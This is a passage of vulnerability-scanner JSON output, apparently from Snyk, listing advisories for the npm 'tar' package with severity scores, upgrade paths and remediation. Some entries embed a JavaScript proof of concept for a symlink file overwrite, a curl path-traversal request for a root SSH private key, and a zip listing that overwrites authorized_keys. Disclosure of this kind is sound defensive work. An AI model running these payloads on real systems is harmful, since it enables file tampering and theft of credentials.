"@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system 